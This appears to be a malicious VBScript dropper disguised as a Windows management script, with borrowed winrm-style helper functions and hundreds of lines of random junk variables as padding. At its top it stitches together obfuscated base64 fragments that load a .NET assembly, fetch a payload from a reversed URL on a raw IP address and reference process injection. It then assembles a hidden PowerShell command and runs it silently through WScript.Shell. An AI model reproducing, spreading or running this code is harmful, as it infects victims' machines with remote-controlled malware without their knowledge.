fosfena = fosfena & "zc2VtYmx5XTo6TG9hZChxTzRjb21tYW5kQnl0ZXMpO3FPNH
ZhaU1l
hvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaDFTVkFJaDFTKTtxTzR2YWlNZ
XRob2QuSW52b2tlKHFPNG51bGwsIEAoaDFTdHh0
LjQ0NDZlc2FiYmJiYmInKydiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGhoMVMsIGgxU2Rlc2F0aXZhZG9oMV"
fosfena = fosfena & "MsIGgxU2Rlc2F0aXZhJysnZG9oMVMsIGgxU2Rlc2F0aXZhZ
G9oMVM
GgxJysnU0FkZEluUHJvY2VzczMyaDFTLCBoMVMnKydkZXNhdGl2YWRvaDFTLCBoMVNk
ZXNhdGl2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVM
saDFTZGVzYXRpdmFkb2gxUyxoMVNkZXNhdGknKyd2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxU"
fosfena = fosfena & "yxoMVMxaDFTLGgxU2Rlc2F0aXZhZG9oMVMpKTsnKS5yZVB
sQWNFK
bQ2hhUl0xMTMrW0NoYVJdNzkrW0NoYVJdNTIpLCckJykucmVQbEFjRSgoW0NoYVJdN
zUrW0NoYVJdMTIxK1tDaGFSXTczKSxbc3RyaU5
nXVtDaGFSXTEyNCkucmVQbEFjRSgoW0NoYVJdMTA0K1tDaGFSXTQ5K1tDaGFSXTgzKSxbc3RyaU5nXVtDaGFSXTM5KSAp"
Dim desemparelhar
desemparelhar = "
Dim consego
consego = "
consego = consego & "
consego = consego & "g
consego = consego & "
consego = consego & "
" & fosfena & "'
consego = consego & ";
consego = consego & "W
consego = consego & "
consego = consego & "=
consego = consego & "
consego = consego & ".
consego = consego & "x
consego = consego & "
consego = consego & "d
consego = consego & "g
consego = consego & ":UT
consego = consego & "F8
consego = consego & "Ge
consego = consego & "St
consego = consego & "ri
consego = consego & "[s
consego = consego & "te
consego = consego & "v
consego = consego & ":
consego = consego & "mb
consego = consego & "e
consego = consego & "4
consego = consego & "r
consego = consego & "c
consego = consego & "ig
consego = consego & ";po
consego = consego & "w
consego = consego & "el
consego = consego & "x
consego = consego & "d
consego = consego & "ty
consego = consego & "dd
consego = consego & "e
consego = consego & "ec
consego = consego & "i
consego = consego & "i
consego = consego & "p
consego = consego & "P
consego = consego & "i
consego = consego & "m
consego = consego & "n
consego = consego & "Wj
consego = talhado(consego, desemparelhar, "")
Dim amadurar
amadurar = "p
amadurar = amadurar & "w
amadurar = amadurar & "s
amadurar = amadurar & "l
amadurar = talhado(amadurar, desemparelhar, "")
amadurar = amadurar & consego
Dim clemenciar
Set clemenciar = CreateObject("WScript.Shell")
clemenciar.Run amadurar, 0, False
WScript.Quit(varo)
End If
''''''''''''''''''''
' Escapes non XML chars
private function Escape(str)
dim i
for i = 1 to Len(str)
select case Mid(str, i, 1)
case "&"
Escape = Escape & "&amp;"
case "<"
Escape = Escape & "&lt;"
case ">"
Escape = Escape & "&gt;"
case """"
Escape = Escape & "&quot;"
case "'"
Escape = Escape & "&apos;"
case else
Escape = Escape & Mid(str, i, 1)
end select
next
end function
'''''''''''''''''''''
' Checks if this script is running under cscript.exe
private function segrel()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
segrel = True
else
segrel = False
end if
end function
Function escariador(ByVal espontaneamente, ByVal enteiro, ByVal cardina)
Dim gorar
gorar = espontaneamente
Do While InStr(gorar, enteiro) > 0
gorar = Left(gorar, InStr(gorar, enteiro) - 1) & cardina & Mid(gorar, InStr(gorar, enteiro) + Len(enteiro))
Loop
escariador = gorar
End Function
private sub ASSERTERR(obj, mortinatalidade)
dim errNo
dim errDesc
dim responseStr
dim formattedStr
if Err.Number <> 0 then
errNo = Err.Number
errDesc = Err.Description
responseStr = obj.Error
If Reformat(responseStr,formattedStr,mortinatalidade) Then
stdErr.WriteLine formattedStr
Else
stdErr.WriteLine responseStr
End if
stdErr.WriteLine resurgimento("L_ERRNO_Message") & " " & errNo & " 0x" & Hex(errNo)
stdErr.WriteLine errDesc
WScript.Quit(absorvedoiro)
end if
end sub
' Assert Named Argument Length
private sub ASSERTNAL(namedArg)
if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_ARGNOVAL_Message") & namedArg
WScript.Quit(absorvedoiro)
end if
end sub
private sub ASSERTBOOL(bool, msg)
if Not bool then
stdErr.WriteLine resurgimento("L_ERR_Message") & msg
WScript.Quit(absorvedoiro)
end if
end sub
eLHzoKtsAhxkZhi = "iKUGrinapbpNfzm"
WLLbWzWRNnpPOPA = "WKkGrppNzUUiUWf"
ukWGGcUKGpcKolc = "UUOWWLTknBjBimj"
ckZxWtOBWGKPaGU = "HIbWiLocZeiCbdd"
cZpmZcqpkUoLBHK = "npicNBKWpujUZzp"
NJhKLOWnWTWCKGJ = "LZddBfQKnUcphPU"
phkCWPGxhrGGLqP = "WeAqcGCicbhUolt"
WmcKpLWRLQkhhaN = "KoGacqndbioKPCC"
iRGmLrqiHzalLBP = "qziZASLAKLZeAUA"
kdkHzTdLmRULTaG = "ZbbpnKBNbKNbJBd"
LiWLUmdaicKPcic = "PzkKfUZmilWKlOz"
qLaKpiWqiOWPWmG = "tceNWWLliZBWWOG"
BkhGmKLRpmPocKb = "WiednNPieciicLv"
oWmNBdhPWLTOlcq = "BuzHLiLmhWapion"
mfAxQUpWpSuiiJo = "BPsGihsLhigierL"
mRUqPLszcKmiiAe = "WLGnLABmbsWqzLG"
zehcKZpLacRfxLL = "WkLWscxiPvtRocc"
IinciaPcoeoGtLe = "eWKWGLTKbdLAWpz"
WqUJTqGKiLTeKLZ = "ULiLppLuuKaAhaC"
ibGdCehaktAKiBN = "LAQimWcfpSKkCik"
KcHxRmxxmWJpWKo = "WmKCiLZquZqlbqj"
bZihKtzebKmncjZ = "HkesLHhumBpeLLW"
ianqmieznOWZGGm = "tWSKWheaqpBZufW"
fWkiCkommpxNrmW = "jzZffUeZjLxxeGn"
KNztKULadGfkRtC = "WfgWmRxLNiWZpbH"
PLiLGUucbGLdKtc = "kkkoLfocWGmOdnP"
TfUzjmmOlKioojK = "cWLitpONCipAULI"
SdiciRLUxaWoLLW = "pzTzWWccTAOUAZJ"
egoLiLvLKbGoTPz = "IeLzLAIWNWWiKWq"
RLGIzUGZnmJWscL = "oxKKsuCCjcogombralbblz"
iWWGCKcWpelPfmL = "cLzQbbbdKUNnzLN"
BNtpUNOKkNAWIaR = "muUPKPkJJJxkoKh"
WzQeoUknficLRci = "oiikRKWLiCzsNpe"
KAUmoleeZqfpPcj = "AGWelUZOQiNmPnL"
bcBWuukZkTLmsdn = "mhqPGGCGNdmamir"
UQWZmnLeKLAAUie = "NNbHiUpOJdfipiT"
BoKoGWcaCRkbQGd = "COlazdWGzLveKUl"
RkWneKLbcmGKtPL = "skUtWLfOemuopLK"
LbuZHoKZiGbemez = "WaaWbgiecJadWmW"
uuaWfUZkcWQKAtI = "qqnZAWNtKLPKLcc"
txBoqnSWNbxAGgZ = "pNoBUNiLKhLpKcd"
LpKWdWnLWWiAeoC = "OSAfacLdaiWZCmf"
WLNuscUvcGWcGgi = "fKLBULLLsWftCfL"
LzSbrckLlmACqgZ = "iWebGKGiLPcxgLx"
WekzdfbWoULGfKW = "LURzizdLteivlKp"
cQcLgLCKidbWlkW = "tPbLtqBLkzLtkbC"
ZPWAakZcPKtrKLd = "kNpUogtLiWiALUa"
mGkzslixGmcKRmP = "BWfPifGGKWhpnxG"
WmHKqbsLKLbKcAc = "WkZKNlrptLURGiZ"
TkaKBPBUixGWfcogombral = "cWhadxfZJcrLeKq"
bQnfKtLRULWKbig = "dWSLbIGcHziiooh"
iBLAmthAfbdtbGm = "zLufAzkAGfCeAGz"
fGcOKilKtfULZKC = "zWRtnWcqkBmzGst"
iOKqandoLQccaiN = "RckLGWmKigextUP"
ULPPUmlhAPcoALL = "PZSAbLAxWWUGQUQ"
iWfpiOdpcGAAAdk = "pWAbLiLqkfcnSzG"
fhAPLLiNrBNgpAS = "WmuZtWAgWLBZrRc"
ppKpPLlUeGWoWGa = "GKKOiWzkHLGUUAg"
kaomkILULloHgPm = "iOPPLizttiouKdm"
ABOJWmOmGfliJcP = "LChLxdhcWAiZtcL"
KqANZKdmiAOlzoe = "eLWSvKNAlpPzhmT"
stzLbALuniLdBbK = "ubGmzgzAWWOWZzx"
zoWGzpLZblcRGke = "CNAKqNxWWALaWLU"
HhkxTbtipkicffH = "AiPPUAtpKiSKajW"
AkLImULLhGQeLhd = "GKoNWgbPfzatrbb"
GpUbeGpctbLmlSW = "iGPLhBQLfsPecBW"
nOzTKmWjqiWcmZk = "RPnoZLpKdaCokne"
amhqgiomlcoSdRh = "cKLcWNihUxvWmvA"
WiaLHJpcmqAUgLu = "iZiPdicoHKcNKkn"
lWuuNsZGckKckWs = "nLCxLqehNrbfqAj"
zAWupUWhbiqRAkC = "rOuoLWZLRZNPILA"
TfKBZOWcOaKKKkd = "cnWLgIetccKKLWB"
OuephGcogombralUiUlQKJ = "ziRKTSaRKdIcSiN"
fLizofKRUvbiQkp = "LzTfUZKWqbUeWWp"
RIibuoqmvhpCzUG = "xAWulLhPICsLKWf"
zLsLmPImmkcCzNh = "mPWhclLiNcikPbl"
GJifGoUmiOlGkKW = "AviUnflPuhWqNZL"
eZocWCZqnilcWpa = "CiKkmcLPoPckKbL"
WmiLLGmhcppLGdt = "ifvfGNaNfIQndGZ"
LTNpRZiGCLmpLzl = "jtxLcLOcbPNWosP"
nTuWomWhmqmAWir = "ltZZLGzAUiRLWpa"
ppIQALiKKQbpLPt = "LUAizWTUfmRiWgq"
mLOimANhKNzGnGh = "WdLUgfptdAJvAcl"
WgjqzALiihlHGnR = "iWqhNkTmbpnLWHL"
ebLzqbLtLLLnUWL = "cfiOdhLSlNZbezi"
NoGKckLLdKmklul = "QhcoBWWoGiGhiAc"
RzfKKAiKikTGGkc = "NtGAdkWmGPpdiNb"
KUKWUWkUWhgWLWi = "UBWcuULLxbictQx"
lfjcjdoWPItWLqa = "rNiLhKaNsAILWLi"
RGQWukkKbbUzLKT = "LaNbiPtibflRdeZ"
tBZfAlLvIqLmhBK = "KRcWWAIacAGNinC"
ipcuNsIiHGCvaRk = "WZAOfWWldbbAiAW"
iWHcACLLJnKNdQu = "WSLcpNxUBJmzZcU"
LcKnZmpALcUlhcK = "lLRqkWWiIUpOueW"
gCZNNWZmkWobCxz = "AemKZoahWlLcNKB"
NbCnApWvliWGNtc = "hcAGpTBKtizbbWl"
PKcBGALxkKfpcWx = "WWLcuHitAmUiRLf"
OGWGJRLnktZKWvG = "WLakNoWKqkcevkW"
WdrnoLcUNfoLHnk = "nvoASWLmLkkbANb"
xmsSpGhoAPLdqNd = "GGdNGfgLKiKCWLC"
vLdGKRRUBiHWiQb = "NvnemGiuLUkifgS"
RighReSLfUOGLiQ = "LnGLbWcKcogombralpxotc"
LLhZWGZindnTcBi = "WdLGWaixKdodcGW"
dRRKKhbvkrLtKhe = "WrRlmLWpuqZhCLL"
ciWKieOcNozKhKe = "GKzPuoWfmbooGCU"
OkLtKqdUpkhNGck = "cfLWhbLZrptgjlP"
LWeuLSTWUCsAqAf = "KGjorkjdKGhGRLc"
LLtiOmkKKlfWqhU = "OWiBAAchqlIgxlK"
IWNZoxKjlkboRum = "GGLzKBGpOzGKLNi"
UWKuObPhgTLpWLG = "cTahWmakWkkmLbq"
GupnthjcdLpCoio = "WscTBWmzijKhCTc"
GkLppLmKqtNvIPg = "KcmfZhKLBCbWLIL"
GZchpicLAxWuGLd = "jlSZCiRqALKkKme"
UfzLusWlfpWzieA = "iuKlcizkeCfmNim"
LGBGeAWttbCJbQh = "xckpWUfbGzZtLcf"
AGvdHolTGNbmlqZ = "KmiWbZcZALGiTKn"
hSBpdPNgeQfWAkC = "WWpgCLHGczWPCWb"
qPLucGcuecbANUz = "LLhWiczvWNiLdzU"
czthNzAceNnLAcK = "LqKqkdKUiibuLuK"
BbosKRGKWspGrem = "NeaqLCthmHsLcAi"
amRGWOLqhNmfmUK = "PoLLPKcsuliLahU"
UzZGtlhaWipLolf = "fcohZdoknAGxKPd"
HPLqAWckafWPaPW = "KpSKWzOzBOzLdxI"
axkUurfCRKAZLiW = "ddWokWRnulppJfL"
ikNoLLAizLWAZrW = "LLZKGcagiWLiZxe"
GGnlKdZftAiKbcz = "CLnKKTohWiLkPWG"
HOUiuicJGOLNbtZ = "BfcnhfSLjRWaLid"
cekecRTpALWxGNr = "KNpQLcaeKbehRmC"
RcoiWUpmxkBlbRW = "cSIkaqzefBfSWKU"
POfZdxibRxUKfGN = "kGZGKchLIbZcLcn"
WZicAOLdNfHGicK = "kanURfAgCiHLIWL"
tbtzLTRdtOOLKWh = "bkhfKiUznWecKGg"
GuWZkThULuUmhaO = "KAZeZkvjPKRLcPK"
ickUfNzKJUJZKLq = "LPLxLWrWlekzPKL"
npLeWbmoiWLakGb = "WfItWcfWWILhsUr"
kLWhLkcziuKusmW = "WckeLpdQczIiWPN"
ThvxpZmepusWTzL = "sNzCloTbLNJSKLG"
kUHKatOIZbhpOkG = "lhRWsWGzGWOffZL"
borpzpAKbcLlxLe = "WWBBKZWOhWNWGqG"
zUGizifkOWWlnzP = "umPKPzGGTKolkuj"
ZgzPmpPbhUpcBiU = "hAIzGdPiWZmcLhb"
iKZKbeJWNeGkGba = "WWSGoLmBxoUNqTG"
SLcWfpPKRIWKNkL = "JLzaLhNuHZZxAtu"
iilLCnLGLAfmLzK = "hklJiLAkgiddLfA"
mCnxqLimkboGCgL = "WLnxxCLRrKaCdPP"
rsWRLCtNsiiaZcs = "ZcNWTKcWCdnUiqq"
paiUeKRffeKkUmW = "lkAKWnGWhxKWciz"
aqtoIbJqWfLKzZO = "LbWHbWLfzPlGpzG"
gUkOtmikZPpLGiL = "rSWULRehuLRCzCB"
hPIchcGaCihuWQK = "KJicKtbNKWLcmKL"
cKZTJZZUWbZWcKi = "uiapWxNoqUcxLej"
bWgZWSWUkAjGLTs = "tkpoKgLZfaGWIGW"
TrbrbxRZArtdpIB = "gLWWuoNsLKpeLcl"
zkSidaUKmPxPBZi = "dGdiiWCoBWANJtk"
QOLNcOklnLxbmLW = "eBLKKhuLGCLmcPJ"
pKqUPKLmhipNlLK = "WWPnhoAKZGlWLSK"
LpofcLgoAdWLWLG = "PtROiBLUpnWdQuc"
nLWecbLPOhtxifZ = "pbmKGUhbLAneiCK"
aSLcLfKoOGWLmtW = "vLozQLRHxGLkNbf"
pikOLZLqmmzctOG = "deSfBCWiKgLZeUL"
JeKUKxlpLmCWZbu = "hLapbikWndrSGzZ"
OkAALBzWfUSreOW = "okkGKgcfzkqLoxk"
zIKLjKefPjfLecZ = "vLKuieGTUhUKGhz"
WZPjefkWbqZciAB = "bclWWiKGLLROLLc"
KLNkIczGLoLWlZU = "KWmWmpqOLoBWzBq"
NfGriaLdqlmAfWu = "dxWhLhGWPNRigck"
sdezntpkpWRplik = "WWRPTLPNrPbizoP"
PhAlUPPfWgLAcLn = "jWWkLuKlcKhHkmG"
vjSQKafmPRfqALh = "AbKAUlvUZLLlUui"
hGoNAinmxmGiiWZ = "ckkkGPikWWvLKiK"
uaKkLhcogombraltmzKKuc = "WWcpUghxSGWbPcW"
JZoCcqZULupWkhb = "CBUtWQbUCAGczcA"
OecogombralfPkulhcUgNA = "bWZikKtKTuWxnWc"
OLLhhkWKGkKbLLC = "KOZPLSoKiAWzakf"
bKimuRpdWcRCkiL = "KZnzdLnLIboLCpp"
ZUuHfkpCzxzGOiL = "mUeoKNcLNmkGgkq"
BUGLUckRKhGLffL = "WcUBpfRBbasxJKi"
xLGKchGddkIqehK = "ZfKTBeGWvUsxoWr"
dAcLUeaCAgWzLxf = "iPZLWpbppoLLoLA"
ULLHfLpKpKbOBpf = "vlidikRhiCWCAxK"
PfZWAtkWcmbWukL = "LaiPQWLhfLNeKGz"
GgJTPmmZmnOrLid = "luBWpPKjLKcWkLU"
TglKhrWPLiPNAtp = "bWthNihfhcZAWZW"
CWfkUoLZGWxnGLk = "lJLfhAmATtcaGad"
pTWiPRGpcLZLgWA = "LWWkWKIKfRCCWLO"
ZPbihBiCAmCKNWI = "HWZPPeLuLLAGKWe"
eWWapSxiGpUBUGj = "fAUzNcPjWAbbKpN"
WonLLWWctuOJLGa = "bWWZWpfzjgefUWH"
uUxtPWmZstWLbRm = "hJLsAqKLklALisN"
ZWOhNGJimbaOLtI = "zOxukqZfpGpkiRi"
CbqkkNCdGWUPtCL = "UoocnItAgGhWLPL"
ihaWxLnKNmUibUA = "CzLePQfkNJBqAPZ"
LNxCbNdtNWUKlLi = "GbexUPhZtuniiUR"
LloudtLficcOktL = "WUpKGLvNxRNOWGC"
GxoPPAxKlmJbCWb = "JknklAkUeQekRue"
rGtNTNCeLCerLAB = "cLrLtkZUJQnsWzz"
mPcWbzdpxWGfiiv = "rGkRbQLrftRaxtb"
hfcCQmbORgOpfWG = "cbdLLpirWROpUfG"
PcZpiqpKZULChGB = "cmGgfKLmJPPkizP"
GipWcuaiWAxonvK = "nGCLLkzTzLkqLQC"
aRptPWkPLPOTHWx = "vkGihWnioLtKLPc"
cIpszUWqeebNaWU = "qBKHdLNbtKcUSWp"
ehKWZPLhLKBqSUR = "BPAkKWLNccLaLdL"
AWLiPZtZiLlLnPc = "PfuWUaoLGghWjWW"
tWPaHZeWUbgGKWj = "coKWKfNbRLGaonZ"
LQzLLpWpbLSLLIL = "AdWoOUGuPaLZWkL"
anLemAULWZmuPUU = "QAPcZKoqiNpGCaA"
zLJIUJLoUbZGtRf = "cBumhbcuAkLdvlc"
pimziTWNifbLLlG = "WulWWeqfLUcGhba"
KxLLBPfoiNrtWGf = "cmUkuNjLZkcxuhh"
oUJmzGiJCnsKGWR = "ektvicpiKpKmNqK"
moGfkoPWjciLLei = "aLhAWRbLcNJWULd"
WPLSkUkZffmnicA = "BaGKicWafPRBthW"
hALWkuqKiLfqoWm = "chcPZKWLcHWGnbL"
UcZOLcGLjzUnbNm = "kNKpmkUiucWTdco"
bcCPUKsaelGosnC = "WeiGiWbOGAfJocK"
AZRlvdCgSRLpWKq = "LLACTTAcLqeTLht"
CiRKudNenGWsbch = "ILZjWKclaWPBGap"
AaamxJPWoOCKCub = "UoWxcGLfzkvhPOc"
KiWQiPxPGfLzULc = "KtRkoWNoqULbGdS"
euGoGqWWemGQhpU = "LOhmnBWobeocRAu"
ecLWUqLiiSiPkdc = "NokzsGPLNGHWiii"
GcifQNaoWLPPelZ = "igZaAiciWPBGHUt"
ProxlKWOiZcLNIu = "WciAcRiKWWLKcic"
lxiiLboLuhWeKuK = "zpqUipTkCNKWzWe"
CcgiLglWPLefalT = "UemPWepucOKnWmW"
PkmsWZpKZPNznIU = "LpihLQeilOHisfp"
PfWiKQtGmAGzlqf = "ocCdKaLpegLLvmk"
mUqGneIpGxiilNh = "kWKcNzWnibcccLU"
QoWWCkzauehUUKh = "dWdmNoWeikPohac"
IcHWAUctGAOWcuc = "WqmPWfobiiLxqap"
IoWcGxNKibneWfc = "PQfBnztWifNsWie"
WTIOBLPLcxbWhhb = "LUqpsaPBGrkLOkR"
LWcLZcdhLpfKWWt = "PcoWlUzBuRLULzz"
PKeWuLZimbZiczp = "BzbhirbzzUWiCOA"
cqjWUOdLniLeACc = "UCeWQWunkWWLoKK"
KRZcSaWZUKClGRA = "BpjOWWmOqQfffcG"
NhUTtcuGPlagObA = "IeILhGWRLWmCvPk"
mbLbmkJZWWioRgW = "LfTLtccLdNorWNm"
tuGibWWcqktbUUk = "PiWciLhrnliGLeW"
QidvZWeiKsGLBNo = "URcPtWcdnWnopfN"
KJOsKsWrWKhSeGm = "xPCeUAgoLPUUPKW"
lAKdufKWLiNoUWm = "LWCAHLLWiLxscGL"
ktxKLiZLUzxGfNe = "ftHKkqaoiazLUiB"
ZimRoZticcWcUnN = "kbeRWtmGzWKkLce"
LLonUnkRadLLuaA = "piciiukpLfcLdGP"
gOAGfOUmZUhNahm = "LUNlUGWGktGaIxi"
ClLfiWeZUlLhzNe = "upiLqKUZkbUffaP"
LxUlCbubUebtLPA = "CLzNckfLbkcBiOi"
kkhLjiUhWPlAWLj = "KmcQLpNZKkkqcWW"
ZiLTzLhcLCthTZz = "zJmJqWiWhlWaLui"
WORhhHbZoaGWbKi = "NqZLKWmKNreKomb"
UnPQoLebejWHKWG = "ALGWUCzcacLafqz"
TeNehBoKLQGcWUn = "LZOiOUKPWbcKgqW"
ZNGBLWpLnhWIGBx = "GWTKiBGLLKgkROi"
bsWcAeoLLGhtoie = "hsvOzBcogombrallaLZcWU"
ONCzNfLPekkOiAv = "tbWpLaLQbikKAGk"
fkoeieZUOCRhWvL = "viedbLLWLLbcuri"
LWWdHTLzdaWzRuK = "NGjcIkKGiWohLhU"
NCZCmaGjWLqWemb = "QnLeQmqmuxNSPdk"
KGAKcfnBIqkzuiK = "tnGHqZUiIUmLPcA"
TKlKpdUbUiLWLiU = "HBmrBzKpHeKqnBK"
KhdHLhzGpnnkpHl = "NKNWlCBUPtRUqvo"
GNAWmnfWxUGeuCa = "akezntznQfKoxLp"
caxGKiNfZukOuAK = "kOzvLZZPWHLbhpN"
RGKKzebboHebLLk = "iPkfiLGkcogombralnhqLL"
uLiGgKKKIqhaoZb = "WLfNrHKKPGlKWpp"
LnPczWNnoZLizdU = "BzGjpGWWWKLLLot"
dickGGTIcTAbibA = "KBiUUiNneLnPpzs"
urAcNNUGUebzWNU = "SlZWBNjoiLeKqiQ"
NQPkKoIBWGeqWcG = "NkqxvKLhlWKzpTS"
kopCqaLoKielaAq = "bcZLWZLWqGcghLk"
TgNoRcWtWggULWO = "fNviOpxWnPhoNoi"
KipWhofkzZiGnkf = "PliPuzeiOGPTfur"
iciOheBpofWcogombralLG = "okLUBleCmUCWSUO"
WkBNnmLLWiiWmGv = "bvzNzhWGrPoiecb"
LeLhHzKehQnszLk = "PqHCZPUxbprLbbL"
KObHWhfHRLBSiWp = "WLLsihocAkQWiKb"
GZQLrLaKLKxrjkW = "aqcZUZeKkhTLAcC"
HfRUpcogombralUtQWchZK = "uvUhUokoqifWfpj"
ANHiWJhkeHBiKNk = "zxeTgpcCWiUeciL"
KAhvIiZemUixQAL = "GcmKNoPetWbARzU"
qWtccoKLIKxKAcc = "UWLUqPCzAllclgi"
bzoticGrZocjxBN = "ZSmoGpafKvGokLv"
pGWffcWkGLbWKCl = "LiuHcOnWnZWLLWB"
xOiLlZLKieUZieK = "mfGcOiciPNuQLqL"
ijLWtWTpLCZSLuK = "LkOpmLcnzemCWzL"
tuWNSaliCaKiLWi = "LPzkWWnqJOiqWKl"
jisSlrtoqGpeOLd = "viaIoxbzZOQGiik"
kLxIxdhhKKKcLdW = "eizhBLoGabmTjfo"
lPcjmAGfpBoflPa = "ZxLGWLLftpUTeKA"
iTzhBrLeiLWiqct = "pcLLtQmtKGkGNKz"
JWtGWsqzhpHAoAL = "rdesfoKZiLhqkhA"
LWWbaiHxaAndBWi = "OkKRCckmfGdUxZK"
eLkxcHkGWOkCfBa = "LGfzRlBqGLAuiIn"
PuWWkfzULGLQIaW = "LNWZxcogombralzeWWUBCR"
naxGcHRLAZOWRKf = "pIdlodPGugznzoK"
sPdAaPeAZipQLvW = "ielGacPLBkUCnAl"
WkUkWGLzubuLUhu = "ZtzWPGLacrmkRLL"
ZkGWspGiejWqaNZ = "LWKLOGNdGznvKmk"
KPGBoKcQKWTWcAm = "oGkkGPiZKTiiGBv"
LoKLGxotaSBUbUR = "qfGufHWlLbGLmPS"
dKGWtkclxLKrciK = "KUmBOSPiGWkWOLL"
oOkTpnocLLksUKi = "WNAAhAiiqqJoWeK"
UxAUKGiuctKKZRm = "eGQcWJmQoPKfasL"
ddKizNaWKxChCzh = "zPoGiczdGGWZqZz"
dKOmicUdnzcLhio = "efnxOHRKAvzNPQi"
AkZiZfoNzUlmipG = "LUNIuAoUiktLLkK"
APAznGhAKPLZqxU = "WiLtvWmCzpKTpxi"
bWaCLbifLcNNGqW = "SmlPOipgcakpWWA"
anoUIZdWKBxxLdh = "BzcKiUeGKoQRGLi"
NpCoNbOzUiWUbmN = "bKKWdZLLGBAzGQJ"
nHlioxkeesjscZA = "UKPzBQWZqLRdfkQ"
blfeZzceLWgaBPg = "LilnWcGipTKGLKL"
pfIZlKLfchnWNiP = "RdhHQPmNabKBKan"
cogombralWiTkLLzBWWxfU = "qWxciWQNaLBKWaL"
WcLqQfZCfUeoUmO = "KOPfBkGCWZWbeOv"
oWpUNKahNHienPZ = "dzLUqmKWsZjCOUA"
IfUKZPALmKdinbP = "zhcURKLkWHiRUOA"
cOGLWeLeAdkZgnp = "hWLKtzULRkzeUkR"
PGeLpiaKkGBNSqQ = "cTLUZLdeGpmWWuP"
ldUkintsmdizZnf = "fKHWZLCKjjHhLWI"
LoblfetTiUqUiBu = "hBkBcKLqNmPZxko"
KSptAcWKlbkifcj = "COegiCftBeeusAx"
icWhRLkNhzGOGLv = "uQBZoUTiitcuWLN"
zCxANtLRUadbckS = "ZuLiRojxcIuoUfC"
oJxnkezWbpkeUkZ = "WdBNcWkWcaRqxKN"
OLLmkzlhvOmQmGx = "GxcWBLeTbOWWlkf"
pUNJATgOLhLhPhP = "edLPicpdiBdKUdp"
cHWdmGhUxePlkNf = "WULzkdluWPNdvUJ"
ozsfLGioZKWmLbc = "lnhcZtiUnabmibf"
AChiiLhkiGjcOKG = "mLkNGKKmmfUAUsi"
kxUUKUzgPKcQKjL = "ULWAaUOLtkmekCL"
AaiiWLLHeZGgCKc = "GhPWePpuzOhOZPJ"
LccPdWiOcNczPbR = "LJzNOWhiIONfLKW"
cpRkRioBWcWcLGh = "LlnillWLoPoCKZP"
kabfNZKqdhieqtk = "QKPneGSbfLOWZPJ"
ocLHGcogombraliZvlNdOW = "NprKgfiLLWrGcLk"
feKdtcNZSnxfiTG = "NcsaLBWzZWeiWiv"
vKqecUeAfmqZzWW = "oGLKcGzWOitqCUb"
qxWKLceUJGSkfpH = "HqzSQkpGKdlLbem"
aLWeLpGiNkiLabL = "pthmaGesLGeOhlR"
GTcLGKcjiKLjffK = "LKoocnrfLhtLLAk"
PLpWZvLZhTLvilZ = "BKoGiGpGNcUcUOW"
PLtWLabkmKmOWKt = "RGkqnfeJaoQWeUL"
janGmTWLdWLpSKb = "ZWGKkZcPZChURKL"
eolmWdmAztGLkqL = "RNPhLLgmGnuiUZW"
bWKGcaKalfGhxni = "dhuWGcogombralqKlaZeLR"
rQANtxTmeWiGfNv = "LmLviKKltKlpLKW"
cWGtkBibLGcNpdP = "GmLWtlAsUbxHpnf"
ezWcLWhWkKLLzKL = "LfukpGOlhlNbBiZ"
pTNdOknKcvAaBLd = "AKnzLQZWondiNiG"
WaLSKNGAclAiKBP = "cgxhsLLhhsvOfWm"
zPtrrkKnatLLgNv = "RoLaKaLzbazfqKP"
gkLolGZzimLWLWk = "cZaWLqUOeSoLUNi"
zGzkhonmARcLLGx = "LBCGkRouzzaAibA"
SxWveoqieWAhSPb = "LLodqGzLAckmsBi"
HWiWemoKfLPRcWm = "GndUCfWbNNrAiLk"
lBWehmsNWlsWxJu = "AqUBZaGcGUKLfGn"
ULzcpAfmLPLxavh = "PWBhUvaifjLlzLt"
cLiJbRZnGSoRlPd = "LLRKGltLcchKGaW"
ocaLZBLKcRQnmZk = "UvZaLfLPibhbeLG"
bcLGRhKPCkGIGZd = "cizCGoWPpNQdWfW"
LlokLctiWGaZZkm = "BpRLmGKnGPCHfLz"
LiPdqqoWKOLkBUj = "WWKtAlLucZGxxiz"
ULGcZBtUHKLLKBm = "RfLAiZompfChfKL"
lpAfNeffqQqiamx = "UodUlRiLkxcUkLi"
LvkIKlINWfsiehG = "xLmurAczIALJLLG"
isUUZRiikpWeWLf = "cGfiicRQKCaZPGL"
UNkdhopkhACWZWN = "WfRWmRaIkLlWKjc"
iRtCcGLGzhLiPzc = "LeWbNZQoeaLqLZL"
WxGNqnlTiWPGWLq = "okITPUzizKiUAZk"
hixclSGIoPcOpiz = "dJZjiWbJWKhrKkc"
irLGoUNaqHnfvGU = "LeLnsieKGZWbBNd"
kzcGWPKJJspZbmx = "zzxPAZBspicmLmz"
bbqiuGALhoNPKPO = "eBPOULWjtKiZWxa"
vWRWJLiumicoiWK = "UloLRPZLWPifqrA"
iWlKikPLBhPlIWW = "WpbpaLadRiKWAUa"
JlSmeOhLlZzUrIR = "piPjKsKbkKzeLzz"
cKOLGuGLuLCniWl = "BmzKWjRUtpWJutm"
UCjNJLieZikikdL = "LZvvCPuzdWGezTL"
BmKUskLUpLcLfUa = "hWJCbsiWbmncuLN"
mLWGadidczkZZqk = "riKnPZtKaolkLqc"
ebKlLzWUnKLCpiP = "pzxSbqmLCAcLNui"
OZNbGvZKzcrIeGU = "ZSNsIohxWaibusW"
zLpGmzBaqLdgPKA = "KTGjmqfZAUhcvGh"
kkbfKWRmueKhNmv = "shUcBPRpPmapPKu"
ZAAUNiAGoCmPtRl = "WkUGqUaWUiiHLzb"
kmLpZjoucGUqKUZ = "dciOuWopNidGhAA"
zecWneQAGLgGiZm = "fiAWentxOWRnlJc"
hfWUbGiKmfgWkbZ = "mccLbQIfkLfdHKW"
oLtSiGRULOzLoOj = "JkiPUqWzcmGCBRu"
dKiUbAmzqaLeZkK = "lGAGGNkRukmdGpo"
zxGLilzBbefBIUr = "keLnoCxBUNNCLcN"
dtfotueencAbkvi = "hPWtpRQkaWUULCK"
NkOHitxfBmusclc = "KcAixHriqGKgGkL"
AWpLLjPszlAhZbA = "zWALWWHGhbWiKmH"
